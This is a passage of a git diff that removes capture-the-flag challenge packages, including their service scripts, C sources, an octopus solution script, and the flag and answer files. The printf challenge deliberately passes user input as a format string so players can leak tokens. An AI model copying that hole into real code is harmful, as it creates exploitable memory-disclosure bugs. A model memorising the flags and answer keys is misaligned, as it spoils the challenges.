token[100]; - struct addrinfo * multicastAddr; /* Multicast address */ - struct addrinfo hints = { 0 }; /* Hints for name lookup */ - struct timeval timeout = { 0 }; - - if (argc != 3) - { - fprintf(stderr, "Usage: %s ADDRESS PORT ai_family == PF_INET6) && - (multicastAddr->ai_addrlen == sizeof(struct sockaddr_in6)))) { - DieWithError("Not IPv6"); - } - - /* Create socket for sending multicast datagrams */ - if ((sender = socket(multicastAddr->ai_family, multicastAddr->ai_socktype, 0)) == -1) { - DieWithError("socket() failed"); - } - - /* Create socket for recieving multicast datagrams */ - if ((listener = socket(multicastAddr->ai_family, multicastAddr->ai_socktype, 0)) == -1) { - DieWithError("socket() failed"); - } - - /* We need to go through a router, set hops to 5 */ - { - int hops = 5; - - if (setsockopt(sender, IPPROTO_IPV6, IPV6_MULTICAST_HOPS, &hops, sizeof(hops)) != 0) { - DieWithError("setsockopt(MULTICAST_HOPS) failed"); - } - } - - /* Bind to the multicast port */ - if (bind(listener, multicastAddr->ai_addr, multicastAddr->ai_addrlen) != 0) { - DieWithError("bind() failed"); - } - - - /* Join the multicast group. */ - { - struct sockaddr_in6 *addr = (struct sockaddr_in6 *)(multicastAddr->ai_addr); - struct ipv6_mreq multicastRequest; - - multicastRequest.ipv6mr_interface = addr->sin6_scope_id; - memcpy(&multicastRequest.ipv6mr_multiaddr, &(addr->sin6_addr), - sizeof(multicastRequest.ipv6mr_multiaddr)); - - if (setsockopt(listener, IPPROTO_IPV6, IPV6_JOIN_GROUP, - (char*)&multicastRequest, sizeof(multicastRequest)) != 0) { - DieWithError("setsockopt(IPV6_JOIN_GROUP) failed"); - } - } - - for (;;) { /* Run forever */ - int n; - int max_fd; - fd_set input; - - char recvString[500]; /* Buffer for received string */ - int recvStringLen; /* Length of received string */ - - char sendString[] = "If anyone is out there, please say hello\n"; - size_t sendStringLen = sizeof(sendString)-1; - char errorString[] = "Say what?\n"; - - struct sockaddr_in6 from; - socklen_t fromlen = sizeof(from); - - FD_ZERO(&input); - FD_SET(listener, &input); - - max_fd = listener + 1; - - if (timeout.tv_usec < 100) { - ssize_t sendLen; - - timeout.tv_sec = 1; - timeout.tv_usec = 0; - - sendLen = sendto(sender, sendString, sendStringLen, 0, multicastAddr->ai_addr, - multicastAddr->ai_addrlen); - if (sendLen != sendStringLen) { - DieWithError("sendto() sent a different number of bytes than expected"); - } - } - - n = select(max_fd, &input, NULL, NULL, &timeout); - - /* See if there was an error */ - if (n < 0) { - perror("select failed"); - } else if (FD_ISSET(listener, &input)) { - recvStringLen = recvfrom(listener, recvString, sizeof(recvString) - 1, 0, - (struct sockaddr *)&from, &fromlen); - /* Receive a single datagram from the server */ - if (recvStringLen < 0) { - DieWithError("recvfrom() failed"); - } - - recvString[recvStringLen] = '\0'; - if (strcmp(recvString, "hello")==0) { - sendto(listener, token, sizeof(sendString), 0, (struct sockaddr *)&from, - fromlen); - } else if (strcmp(recvString, sendString)!=0) { - sendto(listener, errorString, sizeof(errorString), 0, - (struct sockaddr *)&from, fromlen); - } - } - } - - /* NOT REACHED */ - freeaddrinfo(multicastAddr); - close(sender); - close(listener); - - return 0; -} diff --git a/packages/multicaster/tokens.txt b/packages/multicaster/tokens.txt deleted file mode 100644 index 09c628d..0000000 --- a/packages/multicaster/tokens.txt +++ /dev/null @@ -1 +0,0 @@ -net:xucaz-porub-rakox diff --git a/packages/octopus/octopus.mk b/packages/octopus/octopus.mk deleted file mode 100644 index d0e2962..0000000 --- a/packages/octopus/octopus.mk +++ /dev/null @@ -1,18 +0,0 @@ -OCTOPUS_PKGDIR = $(TARGET)/octopus - -octopus-install: octopus-build - mkdir -p $(OCTOPUS_PKGDIR)/bin/ - - $(call COPYTREE, packages/octopus/service, $(OCTOPUS_PKGDIR)/service) - - cp packages/octopus/tokens.txt $(OCTOPUS_PKGDIR)/ - cp packages/octopus/src/octopus $(OCTOPUS_PKGDIR)/bin/ - -octopus-clean: - rm -rf $(OCTOPUS_PKGDIR) - $(MAKE) -C packages/octopus/src clean - -octopus-build: - $(MAKE) -C packages/octopus/src build - -PACKAGES += octopus diff --git a/packages/octopus/service/octopus-redirect/log/run b/packages/octopus/service/octopus-redirect/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/octopus/service/octopus-redirect/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/octopus/service/octopus-redirect/octopus-redirect b/packages/octopus/service/octopus-redirect/octopus-redirect deleted file mode 100755 index c6f06c6..0000000 --- a/packages/octopus/service/octopus-redirect/octopus-redirect +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -echo 'Try UDP.' diff --git a/packages/octopus/service/octopus-redirect/run b/packages/octopus/service/octopus-redirect/run deleted file mode 100755 index f5edf34..0000000 --- a/packages/octopus/service/octopus-redirect/run +++ /dev/null @@ -1,8 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -p ../octopus/ip.txt) - -sv s octopus >/dev/null || exit 1 -exec tcpsvd ${IP%/*} 8888 ./octopus-redirect diff --git a/packages/octopus/service/octopus/finish b/packages/octopus/service/octopus/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/octopus/service/octopus/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/octopus/service/octopus/ip.txt b/packages/octopus/service/octopus/ip.txt deleted file mode 100644 index 45a4fb7..0000000 --- a/packages/octopus/service/octopus/ip.txt +++ /dev/null @@ -1 +0,0 @@ -8 diff --git a/packages/octopus/service/octopus/log/run b/packages/octopus/service/octopus/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/octopus/service/octopus/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/octopus/service/octopus/run b/packages/octopus/service/octopus/run deleted file mode 100755 index 228a153..0000000 --- a/packages/octopus/service/octopus/run +++ /dev/null @@ -1,9 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) - -grep -q ipv4 /proc/cmdline && IP=::ffff:$IP - -exec $CTF_BASE/packages/octopus/bin/octopus ${IP%/*} < $CTF_BASE/packages/octopus/tokens.txt diff --git a/packages/octopus/solution.sh b/packages/octopus/solution.sh deleted file mode 100755 index 7d97293..0000000 --- a/packages/octopus/solution.sh +++ /dev/null @@ -1,16 +0,0 @@ -#! /bin/sh - -port=8888 -host=[${1:-::1}] - -blooper=/tmp/bloop.$$ -trap "rm $blooper" 0 - -echo foo | socat -t 0.01 STDIO UDP6:$host:$port | tail -n +5 > $blooper - -for i in $(seq 8); do - result=$(socat -t 0.01 STDIO UDP6:$host:$port < $blooper | awk -F': ' '(NF > 1) {print $2; exit;}') - port=$(printf "%d" "0$result") - echo "next port: $port ($result)" -done -echo $result diff --git a/packages/octopus/src/Makefile b/packages/octopus/src/Makefile deleted file mode 100644 index f449d68..0000000 --- a/packages/octopus/src/Makefile +++ /dev/null @@ -1,9 +0,0 @@ -# Octopus / Some kind of octopus / Tearing my shell apart / Letting the -# sea get in / You make my insides outside - -build: octopus - -octopus: octopus.o - -clean: - rm -f octopus *.o diff --git a/packages/octopus/src/octopus.c b/packages/octopus/src/octopus.c deleted file mode 100644 index d1397bb..0000000 --- a/packages/octopus/src/octopus.c +++ /dev/null @@ -1,368 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define OUTPUT_MAX 1024 -#define INPUT_MAX 1024 - -#ifndef max -#define max(a,b) (((a)>(b))?(a):(b)) -#endif - -const char token[100]; -size_t tokenlen; - -char const octopus[] = - (" ___\n" - " .-' `'.\n" - " / \\\n" - " | ;\n" - " | | ___.--,\n" - " _.._ |8) ~ (8) | _.---'`__.-( (_.\n" - " __.--'`_.. '.__.\\ '--. \\_.-' ,.--'` `""`\n" - " ( ,.--'` ',__ /./; ;, '.__.'` __\n" - " _`) ) .---.__.' / | |\\ \\__..--\"\" \"\"\"--.,_\n" - " `---' .'.''-._.-'`_./ /\\ '. \\ _.-~~~````~~~-._`-.__.'\n" - " | | .' _.-' | | \\ \\ '. `~---`\n" - " \\ \\/ .' \\ \\ '. '-._)\n" - " \\/ / \\ \\ `=.__`~-.\n" - " jgs / /\\ `) ) / / `\"\".`\\\n" - " , _.-'.'\\ \\ / / ( ( / /\n" - " `--~` ) ) .-'.' '.'. | (\n" - " (/` ( (` ) ) '-;\n" - " ` '-; (-'\n" - ); - -const char *friends[8] = { - ("Welcome to Olive Octopus's house!\n" - "Help Olive visit all 8 of her friends to receive a prize!\n" - "Hurry though, things change quickly in the ocean!\n" - "Next friend: %08o\n" - "%s" - ), - ("Thanks for stopping by, Olive! Good luck finding that prize!\n" - "Next friend: %08o\n" - " ,__\n" - " | `'.\n" - "__ |`-._/_.:---`-.._\n" - "\\='. _/..--'`__ `'-._\n" - " \\- '-.--\"` === / o `',\n" - " )= ( .--_ | _.'\n" - " /_=.'-._ {=_-_ | .--`-.\n" - "/_.' `\\`'-._ '-= \\ _.'\n" - " jgs ) _.-'`'-.. _..-'`\n" - " /_.' `/\";';`|\n" - " \\` .'/\n" - " '--'\n" - ), - ("Snap, snap! Good luck on your quest, Olive!\n" - "Next friend: %08o\n" - " .\"\".-._.-.\"\".\n" - " | \\ | / |\n" - " \\ \\.T./ /\n" - " '-./ \\.-'\n" - " / \\\n" - " ; ;\n" - " | |\n" - " | |\n" - " / \\\n" - " | . |\n" - " __.| : |.__\n" - " .-'` | : | `'-.\n" - " /` .\"\\ 0 : 0 /\". `\\\n" - " | _/ './ : \\.' \\_ |\n" - " | / /`\"\"\"`\\ \\ |\n" - " \\ \\ .-' '._ / /\n" - " jgs '-._\\ /_.-'\n" - ), - ("Nice talking with you, Olive. I'd best get back to my babies now!\n" - "Next friend: %08o\n" - " , ,\n" - " \\:.|`._\n" - " /\\/;.:':::;;;._\n" - " < .' ':::;(\n" - " < ' _ '::;>\n" - " \\ (9) _ :::;(\n" - " | / \\ ::;`>\n" - " | / | :;(\n" - " | ( <=- .::;>\n" - " ( a) )=- .::;(\n" - " '-' <=- .::;>\n" - " )==- ::::( ,\n" - " <==- :::(,-'(\n" - " )=- ':: _.->\n" - " <==- ':.' _(\n" - " <==- .:'_ (\n" - " )==- .::' '->\n" - " <=- .:;(`'.(\n" - " `) ':;> `\n" - " .-. < :;(\n" - " <`.':\\ ) :;>\n" - " < :/<_/ < .:;>\n" - " < '`---'` .::(`\n" - " jgs < .:;>'\n" - " `-..:::-'`\n" - ), - ("Spshhh! Good to see you, Olive! You're on the right track!\n" - "Next friend: %08o\n" - " ,_\n" - " \\::,\n" - " |::::\\\n" - " |:::::\\\n" - " __/:::::::\\,____\n" - " _.-::::::::::::::::::::==..,____\n" - " .-::::::::::::::::::::::::::::::::::::.,__\n" - " .:::::::::::::::::::::::::::::::::::::::::::::)\n" - " .:::::'```'-::::::::::::::::::::::(__,__`)::::-'\n" - " .;;;;;;::. ':::::::::::::::::::-:::::@::-'\"\"-,\n" - " .------:::::::::::' '-::::::::::' / `'--'\"\"\"\".-'\n" - "/:::::::::/:::/` _,..-----.,__ `''''`/ ;__,..--''--'`\n" - "`'--::::::::::|-'` `'---'| |\n" - " `\\::::\\ \\ /\n" - " |:::::| '-'\n" - " \\::::|\n" - " jgs `\\::|\n" - " \\/\n" - ), - ("You're getting close, Olive!\n" - "Next friend: %08o\n" - " .-------------'```'----......,,__ _,\n" - " | `'`'`'`'-.,.__ .'(\n" - " | `'--._.' )\n" - " | `'-.<\n" - " \\ .-'`'-. -. `\\\n" - " \\ -.o_. _ _,-'`\\ |\n" - " ``````''--.._.-=-._ .' \\ _,,--'` `-._(\n" - " (^^^^^^^^`___ '-. | \\ __,,,...--' `\n" - " ````````` `'--..___\\ |`\n" - " jgs `-.,'\n" - ), - ("Hi, Olive! Not much further now!\n" - "Next friend: %08o\n" - " , ,\n" - " /(_, ,_)\\\n" - " \\ _/ \\_ /\n" - " // \\\\\n" - " \\\\ (@)(@) //\n" - " \\'=\"==\"='/\n" - " ,===/ \\===,\n" - " \",===\\ /===,\"\n" - " \" ,==='------'===, \"\n" - " jgs \" \"\n" - ), - ("Aha! You found me!\n" - "Prize: %.*s\n" - " (\\.-./)\n" - " / \\\n" - " .' : '.\n" - " _.-'` ' `'-._\n" - " .-' : '-.\n" - " ,'_.._ . _.._',\n" - " '` `'-. ' .-'` `'\n" - " '. : .'\n" - " \\_. ._/\n" - " \\ |^|\n" - " | jgs | ;\n" - " \\'.___.' /\n" - " '-....-'\n") -}; - -const char invalid[] = "Who are you? Go away!\n"; - -#ifdef EASY -# define PORTS 15 -#else -# define PORTS 8 -#endif - -struct bound_port { - int fd; - char output[OUTPUT_MAX]; - size_t output_len; -} bound_ports[PORTS]; - -int -bind_port(struct in6_addr *addr, int fd, uint16_t port) { - struct sockaddr_in6 saddr = {0}; - - saddr.sin6_family = AF_INET6; - saddr.sin6_port = htons(port); - memcpy(&saddr.sin6_addr, addr, sizeof *addr); - return bind(fd, (struct sockaddr *)&saddr, sizeof saddr); -} - -int -rebind(struct in6_addr *addr) -{ - static int offset = 0; - int i; - - for (i = 1; i < 8; i += 1) { - int ret; - int last_guy; - in_port_t port; - - if (-1 != bound_ports[i + offset].fd) { - while (-1 == close(bound_ports[i + offset].fd)) { - if (errno != EINTR) { - return -1; - } - } - } - - /* Bind to a port */ - bound_ports[i + offset].fd = socket(AF_INET6, SOCK_DGRAM, 0); - do { - port = (random() % 56635) + 10000; - ret = bind_port(addr, bound_ports[i + offset].fd, port); - } while (-1 == ret); - - /* Set the last guy's port number */ - last_guy = i + offset - 1; - switch (i) { - case 1: - /* Always change the port 8888 one */ - last_guy = 0; - case 2: - case 3: - case 4: - case 5: - case 6: - case 7: - bound_ports[last_guy].output_len = - snprintf(bound_ports[last_guy].output, OUTPUT_MAX, - friends[i - 1], port, octopus); - break; - } - } - bound_ports[7 + offset].output_len = - snprintf(bound_ports[7 + offset].output, OUTPUT_MAX, - friends[7], tokenlen, token); - - if (offset == 0) { - offset = PORTS - 8; - } else { - offset = 0; - } - - return 0; -} - -void -do_io(int which) -{ - struct bound_port *bp = &bound_ports[which]; - char input[INPUT_MAX]; - ssize_t inlen; - struct sockaddr_in6 from; - socklen_t fromlen = sizeof(from); - - inlen = recvfrom(bp->fd, input, INPUT_MAX, 0, - (struct sockaddr *)&from, &fromlen); - if (-1 == inlen) { - /* Well don't that just beat all. */ - return; - } - - if (which > 0) { - if ((inlen != sizeof(octopus) - 1) || - (0 != memcmp(input, octopus, inlen))) { - /* Didn't send the octopus */ - sendto(bp->fd, invalid, sizeof(invalid), 0, - &from, fromlen); - return; - } - } - - sendto(bp->fd, bp->output, bp->output_len, 0, - &from, fromlen); -} - -int -loop() -{ - int i; - int nfds = 0; - fd_set rfds; - - FD_ZERO(&rfds); - for (i = 0; i < PORTS; i += 1) { - nfds = max(nfds, bound_ports[i].fd); - FD_SET(bound_ports[i].fd, &rfds); - } - - while (-1 == select(nfds+1, &rfds, NULL, NULL, NULL)) { - if (EINTR == errno) { - continue; - } - return 0; - } - - for (i = 0; i < PORTS; i += 1) { - if (FD_ISSET(bound_ports[i].fd, &rfds)) { - do_io(i); - } - } - - return 1; -} - -int -main(int argc, char *argv[]) -{ - int ret; - int i; - time_t last_bind = 0; - time_t last_token = 0; - struct in6_addr addr; - - /* The random seed isn't super important here. */ - srand(time(NULL)); - - if (argc > 1) { - if (0 >= inet_pton(AF_INET6, argv[1], &addr)) { - fprintf(stderr, "invalid address: %s\n", argv[1]); - return EX_IOERR; - } - } else { - memcpy(&addr, &in6addr_any, sizeof addr); - } - - if (NULL == fgets(token, sizeof(token), stdin)) { - perror("Unable to read token"); - return EX_IOERR; - } - tokenlen = strlen(token); - - bound_ports[0].fd = socket(AF_INET6, SOCK_DGRAM, 0); - ret = bind_port(&addr, bound_ports[0].fd, 8888); - if (-1 == ret) { - perror("bind port 8888"); - return EX_IOERR; - } - - for (i = 1; i < PORTS; i += 1) { - bound_ports[i].fd = -1; - } - - do { - time_t now = time(NULL); - - if (last_bind + 4 < now) { - last_bind = now; - if (-1 == rebind(&addr)) break; - } - } while (loop()); - - return 0; -} diff --git a/packages/octopus/tokens.txt b/packages/octopus/tokens.txt deleted file mode 100644 index e7bf2cb..0000000 --- a/packages/octopus/tokens.txt +++ /dev/null @@ -1 +0,0 @@ -net:xemim-civiz-tyrox diff --git a/packages/playfair/playfair.mk b/packages/playfair/playfair.mk deleted file mode 100644 index 8604ea8..0000000 --- a/packages/playfair/playfair.mk +++ /dev/null @@ -1,19 +0,0 @@ -PLAYFAIR_PKGDIR = $(TARGET)/playfair -PLAYFAIR_BUILDDIR = $(BUILD)/playfair - -playfair-install: playfair-build - mkdir -p $(PLAYFAIR_PKGDIR)/bin/ - - $(call COPYTREE, packages/playfair/service, $(PLAYFAIR_PKGDIR)/service) - - cp packages/playfair/tokens.txt $(PLAYFAIR_PKGDIR)/ - cp packages/playfair/src/playfair $(PLAYFAIR_PKGDIR)/bin/ - -playfair-clean: - rm -rf $(PLAYFAIR_PKGDIR) $(PLAYFAIR_BUILDDIR) - $(MAKE) -C packages/playfair/src clean - -playfair-build: - $(MAKE) -C packages/playfair/src build - -PACKAGES += playfair diff --git a/packages/playfair/service/playfair/finish b/packages/playfair/service/playfair/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/playfair/service/playfair/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/playfair/service/playfair/ip.txt b/packages/playfair/service/playfair/ip.txt deleted file mode 100644 index 87523dd..0000000 --- a/packages/playfair/service/playfair/ip.txt +++ /dev/null @@ -1 +0,0 @@ -41 diff --git a/packages/playfair/service/playfair/log/run b/packages/playfair/service/playfair/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/playfair/service/playfair/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/playfair/service/playfair/run b/packages/playfair/service/playfair/run deleted file mode 100755 index 41bf390..0000000 --- a/packages/playfair/service/playfair/run +++ /dev/null @@ -1,9 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) -ip addr add $IP dev eth0 || true - -exec tcpsvd -u nobody ${IP%/*} 1013 $CTF_BASE/packages/playfair/bin/playfair - diff --git a/packages/playfair/src/Makefile b/packages/playfair/src/Makefile deleted file mode 100644 index 66489f7..0000000 --- a/packages/playfair/src/Makefile +++ /dev/null @@ -1,4 +0,0 @@ -build: playfair - -clean: - rm -f playfair \ No newline at end of file diff --git a/packages/playfair/src/playfair.c b/packages/playfair/src/playfair.c deleted file mode 100644 index 1097fba..0000000 --- a/packages/playfair/src/playfair.c +++ /dev/null @@ -1,199 +0,0 @@ -#include -#include -#include -#include - -#define TRUE 1 -#define FALSE 0 - -// finds the index of a character in the index -// returns index or -1 -int -indexkey(char* key, char c) { - int i; - - for(i=0; i < 25; i++) { - if (key[i] == c) { - //printf("'%d' -> %d\n", c, i); - return i; - } - } - return -1; -} - -// makes sure everything is lowercase or a space -void -strtolower(char* s, int len) { - int i; - - for(i = 0; i < len; i++) { - s[i] = tolower(s[i]); - if (s[i] < 'a' || s[i] > 'z') { - s[i] = ' '; - } - } -} - -// -// makes a key -char * -make_key(char* s, int len) { - strtolower(s, len); - char alph[] = "abcdefghijklmnopqrstuvwxyz"; - char* key = (char *) malloc(26 * sizeof(char)); - key[26] = '\0'; - int keylen = 0; - int i; - - // initial dump - for(i=0; i< len; i++) { - if( s[i] != ' ' && alph[s[i]-97] != ' ' && s[i] != 'q') { - key[keylen] = s[i]; - keylen++; - alph[s[i]-97] = ' '; - } - } - - // add extra chars - for (i=0; i < 27; i++) { - if (alph[i] != ' ' && alph[i] != 'q') { - key[keylen] = alph[i]; - keylen++; - alph[i] = ' '; - } - } - - return key; -} - - -// double checks for duplicate chars in string -int -isdup(char* s, int len) { - int i, j; - - for(i = 0; i < len; i++) { - for(j = i+1; j < len; j++ ) { - if (s[i] == s[j]) { - return 1; - } - } - } - return 0; -} - -// does the swapping of two characters -// assuming input is already sanitized -void -swapchar(char* key, char* plain) { - int i0, i1; - i0 = indexkey(key, plain[0]); - i1 = indexkey(key, plain[1]); - - // will hit this with double null, or double x - if (i0 == i1){ - // so pass - // vertical case - } else if (i0%5 == i1%5) { - plain[0] = key[(i0+5)%25]; - plain[1] = key[(i1+5)%25]; - // horizontal case - } else if (i0/5 == i1/5) { - plain[0] = key[(i0/5)*5 + (i0+1)%5]; - plain[1] = key[(i1/5)*5 + (i1+1)%5]; - // diagonal case - } else { - int b0 = i0%5; - int b1 = i1%5; - int diff; - if (b0 > b1) { - diff = b0 - b1; - plain[0] = key[i0-diff]; - plain[1] = key[i1+diff]; - } else { - diff = b1 - b0; - plain[0] = key[i0+diff]; - plain[1] = key[i1-diff]; - } - } - return; -} - -void -printcrap(char* buf){ - printf("%c%c ", buf[0]-32, buf[1]-32); -} - -void -run(char* key) { - char buf[3]; - char tmp; - int existing = FALSE; - - buf[2] = 0; - - while (TRUE) { - // read some crap in - tmp = getchar(); - if (tmp == 'q') { - tmp = 'x'; - } - if (tmp == EOF) { - if(existing) { - buf[1] = 'x'; - swapchar(key, buf); - printcrap(buf); - existing = FALSE; - } else { - return; - } - } else if (tmp == '\n') { - if(existing) { - buf[1] = 'x'; - swapchar(key, buf); - printcrap(buf); - printf("\n"); - fflush(stdout); - existing = FALSE; - } else { - printf("\n"); - fflush(stdout); - } - } else if (91 <= tmp && tmp <= 122) { - if (existing) { - if (tmp == buf[0] && tmp != 'x') { - buf[1] = 'x'; - swapchar(key, buf); - printcrap(buf); - buf[0] = tmp; - } else { - buf[1] = tmp; - swapchar(key, buf); - printcrap(buf); - existing = FALSE; - } - } else { - buf[0] = tmp; - existing = TRUE; - } - } else { - //printf("\nOnly [a-z\\n]\n"); - //fflush(stdout); - } - } -} - - -int -main() { - // Unusual token, since it has to satisfy some strict requirements. - char key[] = "netkualbcdfgrisoxh"; - int len = strlen(key); - char * ckey = make_key(key, len); - - // All I know about trigraphs is that the gcc manual says I don't want - // to know about trigraphs. - printf("The key is the token. Play fair. ???:????\?-????\?-?????\n"); - fflush(stdout); - run(ckey); -} diff --git a/packages/playfair/tokens.txt b/packages/playfair/tokens.txt deleted file mode 100644 index c0d624c..0000000 --- a/packages/playfair/tokens.txt +++ /dev/null @@ -1 +0,0 @@ -net:kualb-cdfgr-isoxh diff --git a/packages/posters/posters.mk b/packages/posters/posters.mk deleted file mode 100644 index b434e57..0000000 --- a/packages/posters/posters.mk +++ /dev/null @@ -1,8 +0,0 @@ -posters-source: -posters-build: - -posters-install: packages/posters/tokens.txt - mkdir -p $(TARGET)/posters/ - cp $< $(TARGET)/posters/ - -PACKAGES += posters diff --git a/packages/posters/tokens.txt b/packages/posters/tokens.txt deleted file mode 100644 index 12debb7..0000000 --- a/packages/posters/tokens.txt +++ /dev/null @@ -1,6 +0,0 @@ -posters:xylep-nanox -posters:xanad-polox -posters:xemoc-socox -posters:xurat-tulox -posters:xalep-mikex -posters:xylen-bubux diff --git a/packages/printf/printf.mk b/packages/printf/printf.mk deleted file mode 100644 index cc22d75..0000000 --- a/packages/printf/printf.mk +++ /dev/null @@ -1,19 +0,0 @@ -PRINTF_PKGDIR = $(TARGET)/printf - -printf-install: printf-build - mkdir -p $(PRINTF_PKGDIR) - - mkdir -p $(PRINTF_PKGDIR)/bin/ - $(MAKE) -C packages/printf/src install DESTDIR=$(CURDIR)/$(PRINTF_PKGDIR) - - $(call COPYTREE, packages/printf/service, $(PRINTF_PKGDIR)/service) - cp packages/printf/tokens.txt $(PRINTF_PKGDIR)/ - -printf-clean: - rm -rf $(PRINTF_PKGDIR) - $(MAKE) -C packages/printf/src clean - -printf-build: - $(MAKE) -C packages/printf/src build - -PACKAGES += printf diff --git a/packages/printf/service/printf/finish b/packages/printf/service/printf/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/printf/service/printf/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/printf/service/printf/ip.txt b/packages/printf/service/printf/ip.txt deleted file mode 100644 index 492dff0..0000000 --- a/packages/printf/service/printf/ip.txt +++ /dev/null @@ -1 +0,0 @@ -152 diff --git a/packages/printf/service/printf/log/run b/packages/printf/service/printf/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/printf/service/printf/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/printf/service/printf/run b/packages/printf/service/printf/run deleted file mode 100755 index 92a725d..0000000 --- a/packages/printf/service/printf/run +++ /dev/null @@ -1,13 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) - -# So I say to him, "Alex, what's a good high port number for a CTF category?" -# And he says, "6" -# And I say, "no, it has to be bigger than 1000" -# And he says, "how about 9001, because that's bigger than 9000" -# Okay. - -exec tcpsvd ${IP%/*} 9001 ./run-printf diff --git a/packages/printf/service/printf/run-printf b/packages/printf/service/printf/run-printf deleted file mode 100755 index 9563407..0000000 --- a/packages/printf/service/printf/run-printf +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec chpst -u 9001 -/ $CTF_BASE/packages/printf/bin ./printf 3<$CTF_BASE/packages/printf/tokens.txt diff --git a/packages/printf/src/Makefile b/packages/printf/src/Makefile deleted file mode 100644 index 2b1fce6..0000000 --- a/packages/printf/src/Makefile +++ /dev/null @@ -1,14 +0,0 @@ -CFLAGS = -Wall -LDFLAGS = -static -TARGETS = printf - -all: build -build: $(TARGETS) - -printf: printf.o - -install: $(TARGETS) - install -m 0755 $(TARGETS) $(DESTDIR)/bin - -clean: - rm -f *.o $(TARGETS) \ No newline at end of file diff --git a/packages/printf/src/printf.c b/packages/printf/src/printf.c deleted file mode 100644 index f8dda67..0000000 --- a/packages/printf/src/printf.c +++ /dev/null @@ -1,100 +0,0 @@ -#include -#include -#include - -void -record(char *buf) { - char *p; - char *ip = getenv("TCPREMOTEIP"); - - fprintf(stderr, "%s: ", ip); - for (p = buf; *p; p += 1) { - if (isprint(*p)) { - fputc(*p, stderr); - } else { - fprintf(stderr, "%%%02x", *p); - } - } - fputc('\n', stderr); -} - -/* Storage space for tokens */ -char token[5][100]; - -/* Make this global so the stack isn't gigantic */ -char global_fmt[8000] = {0}; - - -int -main(int argc, char *argv[], char *env[]) -{ - char *t0 = token[0]; - int t1[100]; - char *fmt = global_fmt; - char *datacomp = "welcome datacomp"; - int token4_flag = 0; - int i; - - /* Read in tokens */ - { - FILE *tf = fdopen(3, "r"); - - if (! tf) { - fprintf(stderr, "No tokens on fd3\n"); - return 1; - } - - for (i = 0; i < 5; i += 1) { - char *p = fgets(token[i], sizeof(token[i]), tf); - - if (! p) { - fprintf(stderr, "Cannot read token %d\n", i); - return 1; - } - - /* Replace newline with null */ - for (; *p && (*p != '\n'); p += 1); - *p = 0; - } - } - - /* Make stderr buffer until lines */ - setlinebuf(stderr); - - /* So the compiler won't complain about unused variables */ - i = datacomp[0] ^ t0[0]; - - /* Token 0 just hangs out on the stack */ - - /* Set up token 1 (%c%c%c%c...) */ - for (i = 0; '\0' != token[1][i]; i += 1) { - t1[i] = token[1][i]; - } - t1[i-1] = '\n'; - - /* Stick token 2 into the environment */ - for (i = 0; env[i]; i += 1); - env[i-1] = token[2]; - - /* token 3 is pretty much a gimmie */ - - /* token 4 will only be printed if you set token4_flag to non-zero */ - - if (NULL == fgets(global_fmt, sizeof(global_fmt), stdin)) { - return 0; - } - - record(fmt); - - printf(fmt, - "Welcome to the printf category.\n", - "There are multiple tokens hiding here.\n", - "Good luck!\n", - token[3], - "token4_flag (@ ", &token4_flag, "): ", token4_flag, "\n"); - if (token4_flag) { - printf("%s\n", token[4]); - } - - return 0; -} diff --git a/packages/printf/tokens.txt b/packages/printf/tokens.txt deleted file mode 100644 index 17f373d..0000000 --- a/packages/printf/tokens.txt +++ /dev/null @@ -1,5 +0,0 @@ -net:xenid-divik-vyhux -net:xodib-recop-zycux -net:xugep-zanuc-fetux -net:ximac-pucaz-zonox -net:xetab-kozyl-megex diff --git a/packages/radio/answers.txt b/packages/radio/answers.txt deleted file mode 100644 index 37d955b..0000000 --- a/packages/radio/answers.txt +++ /dev/null @@ -1,18 +0,0 @@ -50 belligerently -51 shell -52 217 -53 apothoeses -54 availability -55 bicycle -56 dirtbags -57 ladybugs -58 monish -59 physicians -60 stargazer -61 strangest -62 tour -63 virtue -150 howard -200 badgez -40 cuando cuando cuando -40 cuando, cuando, cuando diff --git a/packages/radio/radio.mk b/packages/radio/radio.mk deleted file mode 100644 index b175c3d..0000000 --- a/packages/radio/radio.mk +++ /dev/null @@ -1,8 +0,0 @@ -RADIO_PKGDIR = $(TARGET)/radio - -radio-install: - mkdir -p $(RADIO_PKGDIR) - cp packages/radio/answers.txt $(RADIO_PKGDIR) - -PACKAGES += radio - diff --git a/packages/revwords/revwords.mk b/packages/revwords/revwords.mk deleted file mode 100644 index 5f44a3e..0000000 --- a/packages/revwords/revwords.mk +++ /dev/null @@ -1,19 +0,0 @@ -REVWORDS_PKGDIR = $(TARGET)/revwords -REVWORDS_BUILDDIR = $(BUILD)/revwords - -revwords-install: revwords-build - mkdir -p $(REVWORDS_PKGDIR)/bin/ - - $(call COPYTREE, packages/revwords/service, $(REVWORDS_PKGDIR)/service) - - cp packages/revwords/tokens.txt $(REVWORDS_PKGDIR)/ - cp packages/revwords/src/revwords $(REVWORDS_PKGDIR)/bin/ - -revwords-clean: - rm -rf $(REVWORDS_PKGDIR) $(REVWORDS_BUILDDIR) - $(MAKE) -C 